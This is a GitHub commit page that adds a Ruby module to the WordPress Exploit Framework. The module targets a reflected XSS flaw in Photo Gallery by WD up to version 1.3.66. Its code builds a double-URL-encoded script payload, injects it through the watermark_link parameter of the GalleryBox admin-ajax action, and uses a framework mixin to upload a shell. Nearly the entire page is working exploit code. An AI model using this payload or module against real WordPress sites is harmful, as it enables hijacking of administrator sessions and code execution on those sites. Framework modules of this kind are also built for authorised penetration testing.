Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 72d0bea

Browse files
committed
Add Photo Gallery by WD <= 1.3.66 reflected XSS shell upload
1 parent 1cb9f3c commit 72d0bea

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::PhotoGalleryReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Photo Gallery by WD <= 1.3.66 Reflected XSS Shell Upload',
11+
author: [
12+
'Karim El Ouerghemmi', # Dislosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '9031']
17+
],
18+
date: 'Feb 22 2018'
19+
)
20+
21+
register_options([
22+
IntegerOption.new(
23+
name: 'gallery_id',
24+
desc: 'A valid Photo Gallery gallery ID',
25+
required: true
26+
),
27+
IntegerOption.new(
28+
name: 'image_id',
29+
desc: 'A valid ID of an image within the chosen gallery',
30+
required: true
31+
)
32+
])
33+
end
34+
35+
def check
36+
check_plugin_version_from_readme('photo-gallery', '1.3.67')
37+
end
38+
39+
def xss_payload
40+
url_encode(url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>"))
41+
end
42+
43+
def url_with_xss
44+
"#{wordpress_url_admin_ajax}?action=GalleryBox&gallery_id=#{datastore['gallery_id']}&image_id=#{datastore['image_id']}&watermark_link=#{xss_payload}&watermark_type=image"
45+
end
46+
end

0 commit comments

Comments
 (0)